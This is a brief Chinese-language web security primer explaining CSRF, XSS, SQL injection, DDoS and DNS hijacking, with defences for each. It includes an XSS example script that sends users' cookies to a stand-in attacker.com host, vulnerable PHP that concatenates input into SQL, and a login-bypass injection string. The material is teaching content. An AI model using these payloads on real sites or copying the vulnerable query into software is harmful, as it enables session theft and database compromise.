Skip to main content

网络安全

CSRF

CSRF是一种网络安全攻击方式。攻击者通过获取用户在应用程序中已经验证过的信息,来模拟用户行为执行非法操作。

防御方法:

  1. 引入随机令牌,每次请求必须带上随机令牌。如果请求没有带上有效的随机令牌,服务端将拒绝执行请求。
  2. 随机令牌可以引入混淆代码等功能。

XSS

XSS是一种常见的网络安全攻击方式。攻击者通过注入恶意脚本到指定网站上,诱导用户点击触发攻击脚本。

一般常用于在带有用户输入的web应用程序中,攻击者通过不正确的处理用户输入漏洞,来达到注入恶意脚本的目的。

举例说明:

攻击者提交的评论
<script>
// 恶意脚本:窃取用户 cookie 并发送到攻击者服务器
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

防御方法:

  1. 对用户输入进行合法校验。包括字符校验和格式校验。
  2. 对程序输出进行合理转义,避免动态脚本执行。

SQL注入

SQL注入是一种网络安全攻击方式。攻击者通过在应用程序输入中注入恶意的SQL代码,从而影响数据库的正常执行。

举例说明:

// PHP 后端代码
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysql_query($sql);

// 用户输入
' OR '1'='1'; --

// 最终结果会使查询返回所有用户,因为条件 '1'='1' 总是为真,注释符 -- 会注释掉原始查询的剩余部分。
SELECT * FROM users WHERE username='' OR '1'='1'; --' AND password='';

防御方法:

  1. 对用户输入进行合法校验。包括特殊字符和格式校验。
  2. 参数化查询,避免直接使用

DDoS

DDoS也叫分布式拒绝服务攻击。攻击者通过占大量请求占用目标服务器资源,使其无法响应正常的请求。

防御方法:

  1. 流量过滤与清洗,包括IP封禁

DNS劫持

攻击者通过劫持或者篡改DNS请求,将用户重定向到恶意站点。

举例说明:

  1. DNS劫持:通过入侵或者篡改DNS服务器,将合法域名隐射到恶意IP地址
  2. DNS DDoS:攻击者通过发生大量恶意的DNS查询请求,超过目标服务器处理能力,从而导致服务中断